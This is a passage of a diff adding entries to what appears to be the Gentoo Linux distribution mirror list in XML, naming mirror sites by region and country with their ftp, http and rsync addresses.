+  <uri protocol="ftp">ftp://ftp.gtlib.gatech.edu/pub/gentoo</uri>
+  <uri protocol="http">http://www.gtlib.gatech.edu/pub/gentoo</uri>
+  <uri protocol="rsync">rsync://rsync.gtlib.gatech.edu/gentoo</uri>
+</mirror>
+<mirror>
+  <name>Sandia National Labs</name>
+  <uri protocol="ftp">ftp://mirror.iawnet.sandia.gov/pub/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Indiana University</name>
+  <uri protocol="ftp">ftp://ftp.ussg.iu.edu/pub/linux/gentoo</uri>
+</mirror>
+<mirror>
+  <name>University of California, Santa Barbara</name>
+  <uri protocol="ftp">ftp://ftp.ucsb.edu/pub/mirrors/linux/gentoo/</uri>
+  <uri protocol="http">http://ftp.ucsb.edu/pub/mirrors/linux/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>TDS Internet Services</name>
+  <uri protocol="http">http://gentoo.mirrors.tds.net/gentoo</uri>
+  <uri protocol="ftp">ftp://gentoo.mirrors.tds.net/gentoo</uri>
+  <uri protocol="rsync">rsync://gentoo.mirrors.tds.net/gentoo</uri>
+</mirror>
+<mirror>
+  <name>NetNITCO Internet Services</name>
+  <uri protocol="http">http://gentoo.netnitco.net</uri>
+  <uri protocol="ftp">ftp://gentoo.netnitco.net/pub/mirrors/gentoo/source/</uri>
+</mirror>
+<mirror>
+  <name>Semaphore Corporation</name>
+  <uri protocol="http" ipv4='y' ipv6='y'>http://gentoo.llarian.net/</uri>
+  <uri protocol="ftp" ipv4='y' ipv6='y'>ftp://gentoo.llarian.net/pub/gentoo</uri>
+</mirror>
+<mirror>
+  <name>Datapipe Managed Hosting</name>
+  <uri protocol="http">http://mirror.datapipe.net/gentoo</uri>
+  <uri protocol="ftp">ftp://mirror.datapipe.net/gentoo</uri>
+</mirror>
+<mirror>
+  <name>CS Department at Western Michigan University</name>
+  <uri protocol="http">http://mirrors.cs.wmich.edu/gentoo</uri>
+</mirror>
+<mirror>
+  <name>Utah State University</name>
+  <uri protocol="http">http://mirror.usu.edu/mirrors/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Argonne National Laboratory</name>
+  <uri protocol="http">http://mirror.mcs.anl.gov/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://mirror.mcs.anl.gov/pub/gentoo/</uri>
+  <uri protocol="rsync">rsync://mirror.mcs.anl.gov/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Easynews NNTP Hosting</name>
+  <uri protocol="http">http://gentoo.mirrors.easynews.com/linux/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>University of Illinois-Urbana Champaign</name>
+  <uri protocol="http">http://gentoo.cites.uiuc.edu/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://gentoo.cites.uiuc.edu/pub/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Walla Walla University</name>
+  <uri protocol="ftp">ftp://ftp.wallawalla.edu/pub/mirrors/ftp.gentoo.org</uri>
+</mirror>
+<mirror>
+  <name>Chemistry Dept, University of Wisconsin at Madison</name>
+  <uri protocol="ftp">ftp://gentoo.chem.wisc.edu/gentoo/</uri>
+  <uri protocol="http">http://gentoo.chem.wisc.edu/gentoo/</uri>
+  <uri protocol="rsync">rsync://gentoo.chem.wisc.edu/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Michigan Tech University</name>
+  <uri protocol="ftp">ftp://lug.mtu.edu/gentoo/</uri>
+  <uri protocol="http">http://lug.mtu.edu/gentoo/</uri>
+</mirror>  
+<mirror>
+  <name>Hoobly Classifieds</name>
+  <uri protocol="http">http://gentoo.mirrors.hoobly.com/</uri>
+</mirror>
+<mirror>
+  <name>Fastsoft, Inc.</name>
+  <uri protocol="ftp">ftp://chi-10g-1-mirror.fastsoft.net/pub/linux/gentoo/gentoo-distfiles/</uri>
+  <uri protocol="http">http://chi-10g-1-mirror.fastsoft.net/pub/linux/gentoo/gentoo-distfiles/</uri>
+</mirror>
+<mirror>
+  <name>University of Idaho</name>
+  <uri protocol="ftp">ftp://mirror.its.uidaho.edu/gentoo/</uri>
+  <uri protocol="http">http://mirror.its.uidaho.edu/pub/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Cyberuse</name>
+  <uri protocol="http">http://www.cyberuse.com/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>University of Delaware, Delaware Linux Users Group</name>
+  <uri protocol="http">http://mirror.lug.udel.edu/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.lug.udel.edu/pub/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Rochester Institute of Technology</name>
+  <uri protocol="http">http://mirrors.rit.edu/gentoo/</uri>
+  <uri protocol="ftp">ftp://mirrors.rit.edu/gentoo/</uri>
+  <uri protocol="rsync">rsync://mirrors.rit.edu/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>University of Northern Iowa</name>
+  <uri protocol="http">http://gentoo.cs.uni.edu/</uri>
+  <uri protocol="rsync">rsync://gentoo.cs.uni.edu/gentoo-distfiles</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="South America" country="AR">
+<mirror>
+  <name>LocalHost Soluciones Innovadoras</name>
+  <uri protocol="http">http://gentoo.localhost.net.ar/</uri>
+  <uri protocol="ftp">ftp://mirrors.localhost.net.ar/pub/mirrors/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+<mirrorgroup region="South America" country="BR">
+<mirror>
+  <name>Laboratory of System Administration</name>
+  <uri protocol="http">http://www.las.ic.unicamp.br/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.las.ic.unicamp.br/pub/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>C3SL, Federal University of Paraná</name>
+  <uri protocol="http">http://gentoo.c3sl.ufpr.br/</uri>
+  <uri protocol="ftp">ftp://gentoo.c3sl.ufpr.br/gentoo/</uri>
+  <uri protocol="rsync">rsync://gentoo.c3sl.ufpr.br/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Laboratório de Computação Científica - UFMG</name>
+  <uri protocol="http">http://gentoo.lcc.ufmg.br</uri>
+  <uri protocol="rsync">rsync://gentoo.lcc.ufmg.br/gentoo-sources</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="AT">
+<mirror>
+  <name>Inode</name>
+  <uri protocol="http">http://gentoo.inode.at/</uri>
+  <uri protocol="ftp">ftp://gentoo.inode.at/source/</uri>
+</mirror>
+<mirror>
+  <name>Vienna Univ. of Technology</name>
+  <uri protocol="http">http://gd.tuwien.ac.at/opsys/linux/gentoo/</uri>
+  <uri protocol="ftp">ftp://gd.tuwien.ac.at/opsys/linux/gentoo/</uri>
+  <uri protocol="rsync">rsync://gd.tuwien.ac.at/opsys/linux/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Lagis</name>
+  <uri protocol="http">http://gentoo.lagis.at/</uri>
+  <uri protocol="ftp">ftp://gentoo.lagis.at/</uri>
+  <uri protocol="rsync">rsync://gentoo.lagis.at/gentoo-distfiles/</uri>
+</mirror>
+<mirror>
+  <name>Wetzlmayr</name>
+  <uri protocol="http">http://gentoo.wetzlmayr.com/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="BA">
+<mirror>
+  <name>BiHnet ISP, BH Telecom</name>
+  <uri protocol="http">http://mirror.bih.net.ba/gentoo/</uri>
+  <uri protocol="ftp">ftp://mirror.bih.net.ba/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="BG">
+<mirror>
+  <name>marla.ludost.net</name>
+  <uri protocol="http">http://mirrors.ludost.net/gentoo/</uri>
+  <uri protocol="ftp">ftp://mirrors.ludost.net/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>gentoo.bg</name>
+  <uri protocol="http">http://distfiles.gentoo.bg/</uri>
+  <uri protocol="http">http://ftp.gentoo.bg/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="CZ">
+<mirror>
+  <name>Masaryk University Brno</name>
+  <uri protocol="http">http://ftp.fi.muni.cz/pub/linux/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.fi.muni.cz/pub/linux/gentoo/</uri>
+  <uri protocol="rsync">rsync://ftp.fi.muni.cz/pub/linux/gentoo/</uri>
+  <!-- The different hostname is not an error -->
+  <uri protocol="rsync" ipv6='y' ipv4='n'>rsync://ftp6.linux.cz/pub/linux/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Advokatni Kancelar Kindl &amp; Partneri</name>
+  <uri protocol="http">http://gentoo.supp.name/</uri>
+</mirror>
+<mirror>
+  <name>Web4U Mirror</name>
+  <uri protocol="http">http://gentoo.mirror.web4u.cz/</uri>
+  <uri protocol="ftp">ftp://gentoo.mirror.web4u.cz/</uri>
+</mirror>
+<mirror>
+  <name>UPC Česká republika, a.s.</name>
+  <uri protocol="http">http://gentoo.mirror.dkm.cz/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://gentoo.mirror.dkm.cz/pub/gentoo/</uri>
+  <uri protocol="rsync">rsync://gentoo.mirror.dkm.cz/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="DK">
+<mirror>
+  <name>ftp.klid.dk</name>
+  <uri protocol="ftp">ftp://ftp.klid.dk/gentoo/</uri>
+  <uri protocol="http">http://ftp.klid.dk/ftp/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="FI">
+<mirror>
+  <name>tut.fi</name>
+  <uri protocol="http"  ipv6='y'>http://trumpetti.atm.tut.fi/gentoo/</uri>
+  <uri protocol="ftp"   ipv6='y'>ftp://trumpetti.atm.tut.fi/gentoo/</uri>
+  <uri protocol="rsync" ipv6='y'>rsync://trumpetti.atm.tut.fi/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="FR">
+<mirror>
+  <name>Ovh Hosting Provider</name>
+  <uri protocol="http">http://mirror.ovh.net/gentoo-distfiles/</uri>
+  <uri protocol="ftp">ftp://mirror.ovh.net/gentoo-distfiles/</uri>
+</mirror>
+<mirror>
+  <name>IMJ.fr</name>
+  <uri protocol="ftp">ftp://gentoo.imj.fr/pub/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Free</name>
+  <uri protocol="ftp" ipv4='y' ipv6='y'>ftp://ftp.free.fr/mirrors/ftp.gentoo.org/</uri>
+</mirror>
+<mirror>
+  <name>Linuxant.fr</name>
+  <uri protocol="http">http://mirrors.linuxant.fr/distfiles.gentoo.org/</uri>
+  <uri protocol="ftp">ftp://mirrors.linuxant.fr/distfiles.gentoo.org/</uri>
+  <uri protocol="http" ipv4="n" ipv6="y">http://mirrors.ipv6.linuxant.fr/distfiles.gentoo.org/</uri>
+  <uri protocol="ftp" ipv4="n" ipv6="y">ftp://mirrors.ipv6.linuxant.fr/distfiles.gentoo.org/</uri>
+</mirror>
+<mirror>
+  <name>modulix.net</name>
+  <uri protocol="http">http://gentoo.modulix.net/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="DE">
+<mirror>
+  <name>tu-clausthal.de</name>
+  <uri protocol="ftp">ftp://ftp.tu-clausthal.de/pub/linux/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>rwth-aachen.de</name>
+  <uri protocol="ftp">ftp://sunsite.informatik.rwth-aachen.de/pub/Linux/gentoo</uri>
+</mirror>
+<mirror>
+  <name>Ruhr-Universität Bochum</name>
+  <uri protocol="http">http://linux.rz.ruhr-uni-bochum.de/download/gentoo-mirror/</uri>
+  <uri protocol="ftp">ftp://linux.rz.ruhr-uni-bochum.de/gentoo-mirror/</uri>
+</mirror>
+<mirror>
+  <name>Uni Erlangen-Nürnberg</name>
+  <uri protocol="http">http://ftp.uni-erlangen.de/pub/mirrors/gentoo</uri>
+  <uri protocol="ftp">ftp://ftp.uni-erlangen.de/pub/mirrors/gentoo</uri>
+  <uri protocol="http" ipv4='n' ipv6='y'>http://ftp6.uni-erlangen.de/pub/mirrors/gentoo</uri>
+  <uri protocol="ftp" ipv4='n' ipv6='y'>ftp://ftp6.uni-erlangen.de/pub/mirrors/gentoo</uri>
+</mirror>
+<mirror>
+  <name>Uni Muenster/JOIN</name>
+  <uri protocol="ftp">ftp://ftp.join.uni-muenster.de/pub/linux/distributions/gentoo</uri>
+  <uri protocol="rsync">rsync://ftp.join.uni-muenster.de/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Dresden University of Technology/AG DSN</name>
+  <uri protocol="ftp">ftp://ftp.wh2.tu-dresden.de/pub/mirrors/gentoo</uri>
+</mirror>
+<mirror>
+  <name>Westfaelische Wilhelms-Universitaet</name>
+  <uri protocol="ftp" ipv4='n' ipv6='y'>ftp://ftp.ipv6.uni-muenster.de/pub/linux/distributions/gentoo</uri>
+  <uri protocol="ftp" ipv4='y' ipv6='n'>ftp://ftp6.uni-muenster.de/pub/linux/distributions/gentoo</uri>
+  <uri protocol="ftp" ipv4='y' ipv6='y'>ftp://ftp.join.uni-muenster.de/pub/linux/distributions/gentoo</uri>
+</mirror>
+<mirror>
+  <name>University of Applied Sciences, Esslingen</name>
+  <uri protocol="http">http://ftp-stud.hs-esslingen.de/pub/Mirrors/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp-stud.hs-esslingen.de/pub/Mirrors/gentoo/</uri>
+  <uri protocol="rsync">rsync://ftp-stud.hs-esslingen.de/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>mneisen.org</name>
+  <uri protocol="http">http://gentoo.mneisen.org/</uri>
+</mirror>
+<mirror>
+  <name>de-mirror.org</name>
+  <uri protocol="ftp">ftp://de-mirror.org/distro/gentoo/</uri>
+  <uri protocol="http">http://de-mirror.org/distro/gentoo/</uri>
+  <uri protocol="rsync">rsync://de-mirror.org/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>SPLINE, Institut für Informatik, Freie Universität Berlin</name>
+  <uri protocol="ftp">ftp://ftp.spline.inf.fu-berlin.de/mirrors/gentoo/</uri>
+  <uri protocol="http">http://ftp.spline.inf.fu-berlin.de/mirrors/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Netcologne</name>
+  <uri protocol="ftp">ftp://mirror.netcologne.de/gentoo/</uri>
+  <uri protocol="http">http://mirror.netcologne.de/gentoo/</uri>
+  <uri protocol="rsync">rsync://mirror.netcologne.de/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Opteamax UG</name>
+  <uri protocol="http" ipv4='y' ipv6='y'>http://mirror.opteamax.de/gentoo/</uri>
+  <uri protocol="ftp" ipv4='y' ipv6='y'>ftp://mirror.opteamax.de/gentoo/</uri>
+  <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://mirror.opteamax.de/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="GR">
+<mirror>
+  <name>files.gentoo.gr</name>
+  <uri protocol="ftp">ftp://files.gentoo.gr</uri>
+  <uri protocol="http">http://files.gentoo.gr</uri>
+</mirror>
+<mirror>
+  <name>National Technical University of Athens</name>
+  <uri protocol="ftp">ftp://ftp.ntua.gr/pub/linux/gentoo/</uri>
+  <uri protocol="http">http://ftp.ntua.gr/pub/linux/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>University of Crete</name>
+  <uri protocol="ftp">ftp://ftp.cc.uoc.gr/mirrors/linux/gentoo/</uri>
+  <uri protocol="http">http://ftp.cc.uoc.gr/mirrors/linux/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="HU">
+<mirror>
+  <name>Eotvos Lorand University</name>
+  <uri protocol="http">http://gentoo.inf.elte.hu/</uri>
+  <uri protocol="ftp">ftp://gentoo.inf.elte.hu/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="IS">
+<mirror>
+  <name>RHnet</name>
+  <uri protocol="http">http://ftp.rhnet.is/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.rhnet.is/pub/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="IE">
+<mirror>
+  <name>HEAnet - Ireland's National Education and Research Network</name>
+  <uri protocol="http" ipv6='y'>http://ftp.heanet.ie/pub/gentoo/</uri>
+  <uri protocol="ftp"  ipv6='y'>ftp://ftp.heanet.ie/pub/gentoo/</uri>
+  <uri protocol="rsync" ipv6='y'>rsync://ftp.heanet.ie/pub/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="LT">
+<mirror>
+  <name>KTU ELEN Gentoo Mirror</name>
+  <uri protocol="http">http://mirror.elen.ktu.lt/gentoo/</uri>
+  <uri protocol="ftp">ftp://mirror.elen.ktu.lt/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="LV">
+<mirror>
+  <name>Tups.lv</name>
+  <uri protocol="http">http://gentoo.tups.lv/source/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="NL">
+<mirror>
+  <name>Universiteit Twente</name>
+  <uri protocol="http"  ipv4='y' ipv6='y'>http://ftp.snt.utwente.nl/pub/os/linux/gentoo</uri>
+  <uri protocol="ftp"   ipv4='y' ipv6='y'>ftp://ftp.snt.utwente.nl/pub/os/linux/gentoo</uri>
+  <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://ftp.snt.utwente.nl/gentoo</uri>
+  <uri protocol="http"  ipv4='n' ipv6='y'>http://ftp.snt.ipv6.utwente.nl/pub/os/linux/gentoo/</uri>
+  <uri protocol="rsync" ipv4='n' ipv6='y'>rsync://ftp.snt.ipv6.utwente.nl/gentoo/</uri>
+  <uri protocol="ftp"   ipv4='n' ipv6='y'>ftp://ftp.snt.ipv6.utwente.nl/pub/os/linux/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Tiscali</name>
+  <uri protocol="http">http://gentoo.tiscali.nl/</uri>
+  <uri protocol="ftp">ftp://gentoo.tiscali.nl/pub/mirror/gentoo/</uri>
+  <uri protocol="rsync">rsync://gentoo.tiscali.nl/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Cambrium BV</name>
+  <uri protocol="http">http://mirror.cambrium.nl/pub/os/linux/gentoo/</uri>
+  <uri protocol="ftp">ftp://mirror.cambrium.nl/pub/os/linux/gentoo/</uri>
+  <uri protocol="rsync">rsync://mirror.cambrium.nl/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>LeaseWeb</name>
+  <uri protocol="http">http://mirror.leaseweb.com/gentoo/</uri>
+  <uri protocol="ftp">ftp://mirror.leaseweb.com/gentoo/</uri>
+  <uri protocol="rsync">rsync://mirror.leaseweb.com/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="NO">
+<mirror>
+  <name>Gentoo.no / Gentoo.se</name>
+  <uri protocol="http">http://mirror.gentoo.no/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="PL">
+<mirror>
+  <name>Vectranet</name>
+  <uri protocol="rsync">rsync://ftp.vectranet.pl/gentoo/</uri>
+  <uri protocol="http">http://ftp.vectranet.pl/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.vectranet.pl/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Rzeszow University of Technology</name>
+  <uri protocol="rsync">rsync://gentoo.prz.rzeszow.pl/gentoo</uri>
+  <uri protocol="http">http://gentoo.prz.rzeszow.pl</uri>
+</mirror>
+<mirror>
+  <name>Technical University of Opole</name>
+  <uri protocol="http">http://gentoo.po.opole.pl</uri>
+  <uri protocol="ftp">ftp://gentoo.po.opole.pl</uri>
+</mirror>
+<mirror>
+  <name>Warsaw University Of Technology</name>
+  <uri protocol="http">http://gentoo.mirror.pw.edu.pl/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="PT">
+<mirror>
+  <name>Instituto Superior Técnico</name>
+  <uri protocol="http">http://darkstar.ist.utl.pt/gentoo/</uri>
+  <uri protocol="ftp">ftp://darkstar.ist.utl.pt/pub/gentoo/</uri>
+  <uri protocol="http" ipv4='y' ipv6='y'>http://ftp.rnl.ist.utl.pt/pub/gentoo/gentoo-distfiles/</uri>
+  <uri protocol="ftp" ipv4='y' ipv6='y'>ftp://ftp.rnl.ist.utl.pt/pub/gentoo/gentoo-distfiles/</uri>
+  <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://ftp.rnl.ist.utl.pt/pub/gentoo/gentoo-distfiles/</uri>
+</mirror>
+<mirror>
+  <name>Universidade do Minho</name>
+  <uri protocol="ftp">ftp://cesium.di.uminho.pt/pub/gentoo/</uri>
+  <uri protocol="http">http://cesium.di.uminho.pt/pub/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>University of Coimbra</name>
+  <uri protocol="ftp">ftp://ftp.dei.uc.pt/pub/linux/gentoo/</uri>
+  <uri protocol="http">http://ftp.dei.uc.pt/pub/linux/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="RO">
+<mirror>
+  <name>Romanian Education Network</name>
+  <uri protocol="ftp">ftp://ftp.romnet.org/gentoo/</uri>
+  <uri protocol="http">http://ftp.romnet.org/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Evolva Telecom</name>
+  <uri protocol="http">http://mirrors.evolva.ro/gentoo/gentoo-distfiles/</uri>
+  <uri protocol="ftp">ftp://mirrors.evolva.ro/gentoo/gentoo-distfiles/</uri>
+  <uri protocol="rsync">rsync://mirrors.evolva.ro/gentoo/gentoo-distfiles/</uri>
+</mirror>
+<mirror>
+  <name>xservers.ro Gazduire Web</name>
+  <uri protocol="http">http://mirrors.xservers.ro/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="SE">
+<mirror>
+  <name>mdfnet.se</name>
+  <uri protocol="ftp">ftp://mirror.mdfnet.se/gentoo</uri>
+  <uri protocol="http">http://mirror.mdfnet.se/mirror/gentoo</uri>
+</mirror>
+<mirror>
+  <name>ING-net Umea University</name>
+  <uri protocol="ftp">ftp://ftp.ing.umu.se/linux/gentoo/</uri>
+  <uri protocol="http">http://ftp.ing.umu.se/linux/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>DatorSektionen, Jönköping University</name>
+  <uri protocol="ftp">ftp://ftp.ds.karen.hj.se/gentoo/</uri>
+  <uri protocol="http">http://ftp.ds.karen.hj.se/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Lund University</name>
+  <uri protocol="ftp">ftp://ftp.df.lth.se/pub/gentoo/</uri>
+  <uri protocol="http">http://ftp.df.lth.se/pub/gentoo/</uri>
+  <uri protocol="rsync">rsync://ftp.df.lth.se/pub/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="SK">
+<mirror>
+  <name>Ynet.sk</name>
+  <uri protocol="http">http://mirror.ynet.sk/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://mirror.ynet.sk/pub/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Wheel.sk</name>
+  <uri protocol="http">http://gentoo.wheel.sk/</uri>
+  <uri protocol="ftp">ftp://gentoo.wheel.sk/pub/linux/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Rainside.sk</name>
+  <uri protocol="http">http://tux.rainside.sk/gentoo/</uri>
+  <uri protocol="ftp">ftp://tux.rainside.sk/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="ES">
+<mirror>
+  <name>University of A Corunna Free Software Office</name>
+  <uri protocol="http">http://ftp.udc.es/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.udc.es/gentoo/</uri>
+  <uri protocol="rsync">rsync://ftp.udc.es/gentoo/</uri>
+</mirror> 
+<mirror>
+  <name>Politechnic University of Catalonia</name>
+  <uri protocol="http">http://gentoo-euetib.upc.es/mirror/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="CH">
+<mirror>
+  <name>SWITCHmirror</name>
+  <uri protocol="http" ipv6='y'>http://mirror.switch.ch/ftp/mirror/gentoo/</uri>
+  <uri protocol="ftp"  ipv6='y'>ftp://mirror.switch.ch/mirror/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="TR">
+<mirror>
+  <name>Turkish Linux Users Group - Linux Kullanicilari Dernegi(LKD)</name>
+  <uri protocol="ftp">ftp://ftp.linux.org.tr/gentoo/</uri>
+  <uri protocol="http">http://ftp.linux.org.tr/gentoo/</uri>
+  <uri protocol="rsync">rsync://ftp.linux.org.tr/gentoo-distfiles/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="UA">
+<mirror>
+  <name>gentoo.kiev.ua</name>
+  <uri protocol="ftp">ftp://gentoo.kiev.ua/</uri>
+  <uri protocol="http">http://gentoo.kiev.ua/ftp/</uri>
+  <uri protocol="rsync">rsync://gentoo.kiev.ua/gentoo-distfiles</uri>
+</mirror>
+<mirror>
+  <name>ITEAM gentoo mirror</name>
+  <uri protocol="http">http://gentoo.iteam.net.ua/</uri>
+</mirror>
+<mirror>
+  <name>gentoo.moskalevskyi.name</name>
+  <uri protocol="ftp">ftp://gentoo.moskalevskyi.name/gentoo</uri>
+  <uri protocol="http">http://gentoo.moskalevskyi.name/</uri>
+  <uri protocol="rsync">rsync://gentoo.moskalevskyi.name/gentoo-distfiles</uri>
+</mirror>
+<mirror>
+  <name>Telcom ISP</name>
+  <uri protocol="ftp">ftp://gentoo.telcom.net.ua/</uri>
+  <uri protocol="http">http://gentoo.telcom.net.ua/</uri>
+  <uri protocol="rsync">rsync://gentoo.telcom.net.ua/gentoo-mirror</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe" country="UK">
+<mirror>
+  <name>Bytemark Hosting</name>
+  <uri protocol="ftp">ftp://mirror.bytemark.co.uk/gentoo/</uri>
+  <uri protocol="http">http://mirror.bytemark.co.uk/gentoo/</uri>
+  <uri protocol="rsync">rsync://mirror.bytemark.co.uk/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>The UK Mirror Service</name>
+  <uri protocol="http">http://www.mirrorservice.org/sites/www.ibiblio.org/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.mirrorservice.org/sites/www.ibiblio.org/gentoo/</uri>
+  <uri protocol="rsync">rsync://rsync.mirrorservice.org/www.ibiblio.org/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Qube Managed Services</name>
+  <uri protocol="http">http://mirror.qubenet.net/mirror/gentoo/</uri>
+  <uri protocol="ftp">ftp://mirror.qubenet.net/mirror/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Virgin Media</name>
+  <uri protocol="http">http://gentoo.virginmedia.com/</uri>
+  <uri protocol="ftp">ftp://gentoo.virginmedia.com/sites/gentoo</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Australia" country="AU">
+<!--
+<mirror>
+  <name>PlanetMirror</name>
+  <uri protocol="http">http://public.planetmirror.com/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.planetmirror.com/pub/gentoo/</uri>
+</mirror>
+-->
+<mirror>
+  <name>Swinburne University of Technology</name>
+  <uri protocol="ftp">ftp://ftp.swin.edu.au/gentoo</uri>
+  <uri protocol="http">http://ftp.swin.edu.au/gentoo</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia" country="CN">
+<mirror>
+  <name>Xiamen University</name>
+  <uri protocol="ftp" ipv4='y' ipv6='y'>ftp://mirrors.xmu.edu.cn/gentoo</uri>
+  <uri protocol="http" ipv4='y' ipv6='y'>http://mirrors.xmu.edu.cn/gentoo</uri>
+  <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://mirrors.xmu.edu.cn/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Sohu.inc</name>
+  <uri protocol="ftp">ftp://mirrors.sohu.com/gentoo/</uri>
+  <uri protocol="http">http://mirrors.sohu.com/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Netease.com, Inc.</name>
+  <uri protocol="http">http://mirrors.163.com/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia" country="HK">
+<mirror>
+  <name>aditsu.net</name>
+  <uri protocol="http">http://gentoo.aditsu.net/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia" country="JP">
+<mirror>
+  <name>gg3.net</name>
+  <uri protocol="http">http://gentoo.gg3.net/</uri>
+  <uri protocol="ftp">ftp://gg3.net/pub/linux/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>ChannelX.biz</name>
+  <uri protocol="http">http://gentoo.channelx.biz/</uri>
+</mirror>
+<mirror>
+  <name>Japan Advanced Institute of Science and Technology</name>
+  <uri protocol="http">http://ftp.jaist.ac.jp/pub/Linux/Gentoo/</uri>
+  <uri protocol="rsync">rsync://ftp.jaist.ac.jp/pub/Linux/Gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.jaist.ac.jp/pub/Linux/Gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Internet Initiative Japan</name>
+  <uri protocol="rsync">rsync://ftp.iij.ad.jp/pub/linux/gentoo/</uri>
+  <uri protocol="http">http://ftp.iij.ad.jp/pub/linux/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.iij.ad.jp/pub/linux/gentoo/</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia" country="KR">
+<mirror>
+  <name>KAIST</name>
+  <uri protocol="http">http://ftp.kaist.ac.kr/pub/gentoo/</uri>
+  <uri protocol="ftp">ftp://ftp.kaist.ac.kr/gentoo/</uri>
